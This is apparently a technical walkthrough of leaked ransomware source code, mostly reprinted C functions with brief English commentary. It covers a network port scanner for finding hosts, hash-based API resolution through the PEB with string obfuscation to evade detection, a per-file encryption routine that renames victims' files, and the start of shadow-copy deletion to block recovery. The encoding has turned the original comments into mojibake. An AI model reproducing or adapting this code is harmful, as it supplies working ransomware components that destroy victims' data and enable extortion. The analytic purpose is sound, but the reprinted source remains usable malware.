      TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
      pGlobalFree(ConnectCtx);

      }

      if (!CreateHostTable()) {
      break;
      }

      ScanHosts();

      if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
      pExitThread(EXIT_FAILURE);
      }

      IsTimerActivated = FALSE;

      }
       if (Success && CompleteAsyncConnect(ConnectContext->s)) {
       
           ConnectContext->State = CONNECTED;
           AddHost(ConnectContext->dwAddres);
       
       }
      
  2. CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect fail

    1. the same as before
1
2
3
4
5
else {

ConnectContext->State = NOT_CONNECTED;

}
  1. CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations, so the connecting is Active.We can Cancel it now.
1
2
3
4
5
6
7
8
9
10
11
12
if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

}
  1. CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations == 0 , the socket is out-of-time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}
  • CompletionStatus

    • A pointer to a variable that receives the completion key value associated with the file handle whose I/O operation has completed. A completion key is a per-file key that is specified in a call to CreateIoCompletionPort.
      • START_COMPLETION_KEY
      • CONNECT_COMPLETION_KEY
      • TIMER_COMPLETION_KEY
  • PortScanHandler

    • pGetQueuedCompletionStatus
    • pPostQueuedCompletionStatus
    • CancelIo
      • Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
    • shutdown
      • The shutdown function disables sends or receives on a socket.
  • TimerCallback

    •   if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
                        pExitThread(EXIT_FAILURE);
        }
        
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - a callback function that used with PostQueuedCompletionStatus.

      - ```c
      BOOL CreateTimerQueueTimer(
      [out] PHANDLE phNewTimer,
      [in, optional] HANDLE TimerQueue,
      [in] WAITORTIMERCALLBACK Callback,
      [in, optional] PVOID Parameter,
      [in] DWORD DueTime,
      [in] DWORD Period,
      [in] ULONG Flags
      );
    • The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.

    • so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown or close the socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
STATIC
DWORD
WINAPI
PortScanHandler(PVOID pArg)
{
g_ActiveOperations = 0;
HANDLE hTimer = NULL;
BOOL IsTimerActivated = FALSE;

HANDLE hTimerQueue = pCreateTimerQueue();
if (!hTimerQueue) {
pExitThread(EXIT_FAILURE);
}

while (TRUE) {

DWORD dwBytesTransferred;
ULONG_PTR CompletionStatus;
PCONNECT_CONTEXT ConnectContext;

BOOL Success = (BOOL)pGetQueuedCompletionStatus(g_IocpHandle, &dwBytesTransferred, &CompletionStatus, (LPOVERLAPPED*)&ConnectContext, INFINITE);

if (CompletionStatus == START_COMPLETION_KEY) {

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;

} else if (CompletionStatus == CONNECT_COMPLETION_KEY) {

g_ActiveOperations--;

if (Success && CompleteAsyncConnect(ConnectContext->s)) {

ConnectContext->State = CONNECTED;
AddHost(ConnectContext->dwAddres);

} else {

ConnectContext->State = NOT_CONNECTED;

}

if (!g_ActiveOperations && IsTimerActivated) {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;

}

} else if (CompletionStatus == TIMER_COMPLETION_KEY) {

IsTimerActivated = TRUE;

if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

} else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}

}

}

pDeleteTimerQueue(hTimerQueue);
pExitThread(EXIT_SUCCESS);
return EXIT_SUCCESS;
}

Reference:

MSDN

[Critical Section in Synchronization](

api

getapi

#define KERNEL32DLL_HASH 0xb26771d8

#define LOADLIBRARYA_HASH 0x439c7e33

getapi::IsRestartManagerLoadedgetapi::SetRestartManagerLoaded function is used to KillFileOwner function.It will check if Rstrtmgr.dll is loaded.

self-realize function such as my_stoi、FindChar、m_memcpy、StrLen

getapi::InitializeGetapiModule

first generate the function LoadlibraryA

  • GetKernel32
  • GetApiAddr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
getapi::InitializeGetapiModule()
{
g_hKernel32 = GetKernel32();
morphcode(g_hKernel32);

ADDR dwLoadLibraryA;
pLoadLibraryA = (fnLoadLibraryA)GetApiAddr(g_hKernel32, LOADLIBRARYA_HASH, &dwLoadLibraryA);

morphcode(pLoadLibraryA);

if (!pLoadLibraryA) {
return FALSE;
}

g_ApiCache = (LPVOID*)malloc(API_CACHE_SIZE);

morphcode(g_ApiCache);

if (!g_ApiCache) {
return FALSE;
}

RtlSecureZeroMemory(g_ApiCache, API_CACHE_SIZE);
return TRUE;
}

getapi::GetProcAddressEx

GetProcAddress by the ModuleName or the ModuleId follow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enum MODULES {
KERNEL32_MODULE_ID = 15,
ADVAPI32_MODULE_ID,
NETAPI32_MODULE_ID,
IPHLPAPI_MODULE_ID,
RSTRTMGR_MODULE_ID,
USER32_MODULE_ID,
WS2_32_MODULE_ID,
SHLWAPI_MODULE_ID,
SHELL32_MODULE_ID,
OLE32_MODULE_ID,
OLEAUT32_MODULE_ID,
NTDLL_MODULE_ID
};
  • pLoadLibraryA
  • GetApiAddr get the api function address by the Hash argument
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
LPVOID
getapi::GetProcAddressEx(
__in LPCSTR ModuleName,
__in DWORD ModuleId,
__in DWORD Hash
)
{
HMODULE hModule = NULL;
ADDR ProcAddress = NULL;

LPCSTR Advapi32DLL = OBFA("Advapi32.dll");
LPCSTR Kernel32DLL = OBFA("Kernel32.dll");
LPCSTR Netapi32DLL = OBFA("Netapi32.dll");
LPCSTR IphlpapiDLL = OBFA("Iphlpapi.dll");
LPCSTR RstrtmgrDLL = OBFA("Rstrtmgr.dll");
LPCSTR Ws2_32DLL = OBFA("ws2_32.dll");
LPCSTR User32DLL = OBFA("User32.dll");
LPCSTR ShlwapiDLL = OBFA("Shlwapi.dll");
LPCSTR Shell32DLL = OBFA("Shell32.dll");
LPCSTR Ole32DLL = OBFA("Ole32.dll");
LPCSTR OleAut32DLL = OBFA("OleAut32.dll");
LPCSTR NtdllDLL = OBFA("ntdll.dll");

if (ModuleName)
{

morphcode((char*)ModuleName);

hModule = pLoadLibraryA(ModuleName);

morphcode(hModule);

if (hModule) {

ProcAddress = GetApiAddr(hModule, Hash, &ProcAddress);

morphcode(ProcAddress);

return (LPVOID)ProcAddress;

}

return (LPVOID)0;

}
else
{

switch (ModuleId)
{

case KERNEL32_MODULE_ID:
ModuleName = Kernel32DLL;
break;

case ADVAPI32_MODULE_ID:
ModuleName = Advapi32DLL;
break;

case NETAPI32_MODULE_ID:
ModuleName = Netapi32DLL;
break;

case IPHLPAPI_MODULE_ID:
ModuleName = IphlpapiDLL;
break;

case RSTRTMGR_MODULE_ID:
ModuleName = RstrtmgrDLL;
break;

case USER32_MODULE_ID:
ModuleName = User32DLL;
break;

case WS2_32_MODULE_ID:
ModuleName = Ws2_32DLL;
break;

case SHLWAPI_MODULE_ID:
ModuleName = ShlwapiDLL;
break;

case SHELL32_MODULE_ID:
ModuleName = Shell32DLL;
break;

case OLE32_MODULE_ID:
ModuleName = Ole32DLL;
break;

case OLEAUT32_MODULE_ID:
ModuleName = OleAut32DLL;
break;

case NTDLL_MODULE_ID:
ModuleName = NtdllDLL;
break;

default:
return (LPVOID)0;

}

hModule = pLoadLibraryA(ModuleName);

morphcode(hModule);

if (hModule) {

ProcAddress = GetApiAddr(hModule, Hash, &ProcAddress);

morphcode(ProcAddress);

return (LPVOID)ProcAddress;

}

}

return (LPVOID)0;
}

getapi::GetProcAddressEx2

get the api function address by Hash

1
pFunction = (BOOL(WINAPI*)(HANDLE))getapi::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1cae2a52, 109);//GetProcAddress(hKernel32, OBFA("CancelIo"));

the ApiCache is to forbid call GetProcAddressEx twice for the same function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LPVOID 
getapi::GetProcAddressEx2(
__in LPSTR Dll,
__in DWORD ModuleId,
__in DWORD Hash,
__in int CacheIndex
)
{
// 泽黻鲨 忸玮疣弪 噤疱?趔黻鲨?桉镱朦珞 挲?
LPVOID Addr = NULL;

Addr = g_ApiCache[CacheIndex];
morphcode(Addr);

if (!Addr) {

// 泽黻鲨?礤??挲. 项塍鬣屐 甯 噤疱??漕徉怆屐 ?挲?
Addr = GetProcAddressEx(Dll, ModuleId, Hash);

morphcode(Addr);

g_ApiCache[CacheIndex] = Addr;

}
return Addr;
}

GetForvardedProc

first, this is the .dll string.

1
2
3
4
5
6
char szDll[] = { '.','c','k','m',0 };
// 泽黻鲨 钺疣犷蜿?镥疱磬珥圜屙? 耧铕蜞
// 袜 怩钿?漕腈磬 猁螯 耱痤赅 DllName.ProcName 桦?DllName.#ProcNomber
--szDll[3];
szDll[1]++;
++szDll[2];

use the NameStr(ordNumber) to get each funtion of the dll.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
++NameStr;
if (*NameStr == '#')
{
morphcode(*NameStr);

// 褥 怆弪? 眍戾痤?趔黻鲨?
++NameStr;

morphcode(*NameStr);

DWORD OrdNomber = my_stoi(NameStr);

morphcode(OrdNomber);

return getapi::GetProcAddressEx(DLLName, 0, OrdNomber);

or this will call this part of code, use the MurmurHash2A to import the function

1
2
3
4
5
DWORD Hash = MurmurHash2A(NameStr, StrLen(NameStr), HASHING_SEED);

morphcode(Hash);

return getapi::GetProcAddressEx(DLLName, 0, Hash);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
STATIC
LPVOID
GetForvardedProc(__in PCHAR Name)
{
char szDll[] = { '.','c','k','m',0 };
// 袜 怩钿?漕腈磬 猁螯 耱痤赅 DllName.ProcName 桦?DllName.#ProcNomber
--szDll[3];
szDll[1]++;
++szDll[2];

morphcode(szDll);

if (Name == NULL) return NULL;

morphcode(Name);

char DLLName[256];
//m_memset(DLLName, 0, sizeof(DLLName));
RtlSecureZeroMemory(DLLName, 256);

morphcode(DLLName);

PCHAR NameStr = FindChar(Name, '.');
if (!NameStr) return NULL;

morphcode(NameStr);


/// 杨徼疣屐 桁 徼犭桀蝈觇
m_memcpy(DLLName, Name, NameStr - Name);

strcat(DLLName, szDll);

/// 铒疱溴?屐 桁 趔黻鲨?
++NameStr;
if (*NameStr == '#')
{
morphcode(*NameStr);

// 褥 怆弪? 眍戾痤?趔黻鲨?
++NameStr;

morphcode(*NameStr);

DWORD OrdNomber = my_stoi(NameStr);

morphcode(OrdNomber);

return getapi::GetProcAddressEx(DLLName, 0, OrdNomber);

}

DWORD Hash = MurmurHash2A(NameStr, StrLen(NameStr), HASHING_SEED);

morphcode(Hash);

return getapi::GetProcAddressEx(DLLName, 0, Hash);
}

CheckForForvardedProc

used to check if the dll function is all imported.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL CheckForForvardedProc(ADDR Addr, PIMAGE_EXPORT_DIRECTORY Table, DWORD DataSize)
{
if (Addr > (ADDR)Table) {

morphcode(Addr);

if ((Addr - (ADDR)Table < DataSize)) {

morphcode(Table);

return TRUE;

}
}
return FALSE;
}

GetFunctionAddresss

  • convert the function address that in the export function table.
  • use the Ordinal to get the RVA
  • RVA TO VA
1
2
3
4
5
6
7
8
9
10
ADDR GetFunctionAddresss(HMODULE Module, PIMAGE_EXPORT_DIRECTORY Table, LONG Ordinal)
{
PDWORD AddrTable = (PDWORD)RVATOVA(Module, Table->AddressOfFunctions);
morphcode(AddrTable);
DWORD RVA = AddrTable[Ordinal];
morphcode(RVA);
ADDR Ret = (ADDR)RVATOVA(Module, RVA);
morphcode(Ret);
return Ret;
}

ReturnAddress

this function is not called in the whole code.

void CopyMemory(

In PVOID Destination,

In const VOID *Source,

In SIZE_T Length

);

get the first 4 byte of dwAddress, then temp+=1 ,to get the three byte code(I guess it is the jmp address).It’s will Maybe used in hook.

1
2
3
4
5
6
7
8
9
10
VOID ReturnAddress(PDWORD pAddress, DWORD dwAddress)
{
DWORD temp = dwAddress + 1;
morphcode(temp);
CopyMemory(&temp, &dwAddress, sizeof(DWORD));
morphcode(temp);
temp++;
CopyMemory(pAddress, &temp, sizeof(DWORD));
morphcode(pAddress);
}

FindFunction

this function is not called.

return the Ordinary the hash in the Module’s export table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
STATIC
INT
FindFunction(
__in HMODULE Module,
__in DWORD Hash,
__in PIMAGE_EXPORT_DIRECTORY Table
)
{
INT Ordinal = 0;
morphcode(Ordinal);

if (HIWORD(Hash) == 0)
{
// 腮屐 趔黻鲨?镱 甯 眍戾痼
Ordinal = (LOWORD(Hash)) - Table->Base;
morphcode(Ordinal);
}
else
{

PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames);

morphcode(NamesTable);

PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);

morphcode(OrdinalTable);

unsigned int i;
char* ProcName;

for (i = 0; i < Table->NumberOfNames; ++i)
{

ProcName = (char*)RVATOVA(Module, *NamesTable);
morphcode(ProcName);
DWORD ProcHash = MurmurHash2A(ProcName, StrLen(ProcName), HASHING_SEED);

if (ProcHash == Hash)
{
morphcode(Ordinal);

Ordinal = *OrdinalTable;
break;
}

// 逾咫梓桠噱?镱玷鲨??蜞犭桷?
++NamesTable;
++OrdinalTable;

}

}

return Ordinal;
}

GetApiAddr

find the ProcNameHash in the dll export function table, and then call function

  • GetFunctionAddresss get the function address,and pass to the Next function CheckForForvardedProc
  • CheckForForvardedProc check if the function is outside the export function table
    • GetForvardedProc
      • getapi::GetProcAddressEx(DLLName, 0, OrdNomber);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ADDR GetApiAddr(HMODULE Module, DWORD ProcNameHash, ADDR* Address)
{
/*----------- 泽黻鲨 忸玮疣弪 噤疱?趔黻鲨?镱 甯 磬玮囗棹 -----------*/
// 项塍鬣屐 噤疱?漕镱腠栩咫 PE 玎泐腩怅钼
PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)((char*)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

// 项塍鬣屐 噤疱?蜞犭桷?耧铕蜞
PIMAGE_EXPORT_DIRECTORY Table = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(Module, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD DataSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

INT Ordinal; // 皖戾?礤钺躅滂祛?磬?趔黻鲨?
BOOL Found = FALSE;

if (HIWORD(ProcNameHash) == 0)
{
// 腮屐 趔黻鲨?镱 甯 眍戾痼
Ordinal = (LOWORD(ProcNameHash)) - Table->Base;
}
else
{
// 腮屐 趔黻鲨?镱 眍戾痼
PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames);
PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);

unsigned int i;
char* ProcName;

for (i = 0; i < Table->NumberOfNames; ++i)
{

ProcName = (char*)RVATOVA(Module, *NamesTable);


if (MurmurHash2A(ProcName, StrLen(ProcName), HASHING_SEED) == ProcNameHash)
{
Ordinal = *OrdinalTable;
Found = TRUE;
break;
}

// 逾咫梓桠噱?镱玷鲨??蜞犭桷?
++NamesTable;
++OrdinalTable;

}

}


// 礤 磬?眍戾?
if (!Found) {

*Address = 0;
return 0;

}

ADDR Ret = GetFunctionAddresss(Module, Table, Ordinal);

if (CheckForForvardedProc(Ret, Table, DataSize)) {
Ret = (ADDR)GetForvardedProc((PCHAR)Ret);
}

//ReturnAddress(Address, Ret + 1);
return Ret;
}

GetHashBase

get the Module Name ,generate and return the hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GetHashBase(__in LDR_MODULE* mdll)
{
char name[64];

size_t i = 0;

while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1)
{

morphcode(mdll->dllname.Buffer[i]);

name[i] = (char)mdll->dllname.Buffer[i];

morphcode(name[i]);

i++;
}

name[i] = 0;

return MurmurHash2A(name, StrLen(name), HASHING_SEED);
}

GetKernel32

the peb is used to get the DllList.Loop the DllList and find the kernel32.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
do
{
mdl = (LDR_MODULE*)mdl->e[0].Flink;
morphcode(mdl);

if (mdl->base != nullptr)
{
morphcode(mdl->base);

if (GetHashBase(mdl) == KERNEL32DLL_HASH) { // KERNEL32.DLL

break;

}
}
} while (mlink != (INT_PTR)mdl);

then you can get the kernel32 handle with the base

1
krnl32 = static_cast<HMODULE>(mdl->base);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
GetKernel32()
{
HMODULE krnl32;
PCWCHAR Kernel32Dll = OBFW(L"Kernel32.dll");

#ifdef _WIN64
const auto ModuleList = 0x18;
const auto ModuleListFlink = 0x18;
const auto KernelBaseAddr = 0x10;
const INT_PTR peb = __readgsqword(0x60);
#else
int ModuleList = 0x0C;
int ModuleListFlink = 0x10;
int KernelBaseAddr = 0x10;
INT_PTR peb = __readfsdword(0x30);
#endif

const auto mdllist = *(INT_PTR*)(peb + ModuleList);
morphcode(mdllist);
const auto mlink = *(INT_PTR*)(mdllist + ModuleListFlink);
morphcode(mlink);
auto krnbase = *(INT_PTR*)(mlink + KernelBaseAddr);
morphcode(krnbase);

auto mdl = (LDR_MODULE*)mlink;
do
{
mdl = (LDR_MODULE*)mdl->e[0].Flink;
morphcode(mdl);

if (mdl->base != nullptr)
{
morphcode(mdl->base);

if (GetHashBase(mdl) == KERNEL32DLL_HASH) { // KERNEL32.DLL

break;

}
}
} while (mlink != (INT_PTR)mdl);

krnl32 = static_cast<HMODULE>(mdl->base);
morphcode(krnl32);
return krnl32;
}

hash

MurmurHash2A

  • convert to lowchar

  • every 4 byte convert to unsigned int data ,then mmix with the seed. If the length is less than 4, Convert it one by one,then mmix

    • ```
      #define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57

      - finally return the hash by argument h

      ```c
      #include "hash.h"
      #include "..\memory.h"

      #define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
      #define LowerChar(C) if (C >= 'A' && C <= 'Z') {C = C + ('a'-'A');}

      unsigned int MurmurHash2A(const void* key, int len, unsigned int seed)
      {
      char temp[64];
      RtlSecureZeroMemory(temp, 64);
      memory::Copy(temp, (PVOID)key, len);

      for (int i = 0; i < len; i++) {
      LowerChar(temp[i]);
      }

      const unsigned int m = 0x5bd1e995;
      const int r = 24;
      unsigned int l = len;

      const unsigned char* data = (const unsigned char*)temp;

      unsigned int h = seed;
      unsigned int k;

      while (len >= 4)
      {
      k = *(unsigned int*)data;

      mmix(h, k);

      data += 4;
      len -= 4;
      }

      unsigned int t = 0;

      switch (len)
      {
      case 3: t ^= data[2] << 16;
      case 2: t ^= data[1] << 8;
      case 1: t ^= data[0];
      };

      mmix(h, t);
      mmix(h, l);

      h ^= h >> 13;
      h *= m;
      h ^= h >> 15;

      return h;
      }

Cryptor

cryptor

cryptor::SetWhiteListProcess

Set white list Process, pass the specifical process(explorer.exe).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
VOID 
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}

cryptor::ChangeFileName

just change the filename, used to add the extension for Encrypted file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cryptor::ChangeFileName(__in LPCWSTR OldName)
{
LPWSTR NewName = (LPWSTR)memory::Alloc(32727);
if (!NewName) {
return FALSE;
}

morphcode((LPVOID)NewName);

plstrcpyW(NewName, OldName);

morphcode((LPVOID)NewName);

plstrcatW(NewName, global::GetExtention());

morphcode((LPVOID)OldName);

pMoveFileW(OldName, NewName);
memory::Free(NewName);
return TRUE;
}

cryptor::Encrypt

  • Genkey
  • OpenFileEncrypt
  • CheckForDataBases
    • WriteEncryptionInfo(FileInfo,FULL_ENCRYPT,0)
    • EncryptFull
  • CheckForVirtualMachines
    • WriteEncryptionInfo(FileInfo,PARTLY_ENCRYPT,20)
    • EncryptPartly
  • judge the file size and use the fittest funtion to encrypt the different size range of file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
BOOL
cryptor::Encrypt(
__in LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey
)
{
BOOL Result = FALSE;
DWORD BytesToRead = 0;
LONGLONG TotalRead = 0;
LONGLONG TotalWrite = 0;

if (!GenKey(CryptoProvider, PublicKey, FileInfo)) {

logs::Write(OBFW(L"Can't gen key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

if (!OpenFileEncrypt(FileInfo)) {
return FALSE;
}

if (CheckForDataBases(FileInfo->Filename)) {

if (!WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else if (CheckForVirtualMachines(FileInfo->Filename)) {

if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, 20)) {
return FALSE;
}

Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, 20);

}
else {

if (FileInfo->FileSize <= 1048576) {

if (!WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else if (FileInfo->FileSize <= 5242880) {

if (!WriteEncryptInfo(FileInfo, HEADER_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptHeader(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else {

if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, global::GetEncryptSize())) {
return FALSE;
}

Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, global::GetEncryptSize());

}

}

if (Result) {

pCloseHandle(FileInfo->FileHandle);
FileInfo->FileHandle = INVALID_HANDLE_VALUE;
ChangeFileName(FileInfo->Filename);

}

CloseFile(FileInfo);
return Result;
}

cryptor::DeleteShadowCopies

Initialize COM
  • hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED)
Set general COM security levels

Registers security and sets the default security values for the process.

1
2
3
4
5
6
7
8
9
10
11
pCoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
Obtain the initial locator to WMI
  • Intel: pCoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator, (LPVOID*)&pLoc);
  • AMD: pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
    • BSTR Arch = pSysAllocString(OBFW(L”__ProviderArchitecture”));
    • hres = pContext->SetValue(Arch, 0, &vArchitecture);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
IWbemLocator* pLoc = NULL;
hres = (HRESULT)pCoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);

morphcode(pLoc);

IWbemContext* pContext = NULL;
SYSTEM_INFO SysInfo;
pGetNativeSystemInfo(&SysInfo);

morphcode(SysInfo.dwActiveProcessorMask);

if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {

hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE;
}

morphcode(hres);

BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));

VARIANT vArchitecture;
pVariantInit(&vArchitecture);
V_VT(&vArchitecture) = VT_I4;
V_INT(&vArchitecture) = 64;
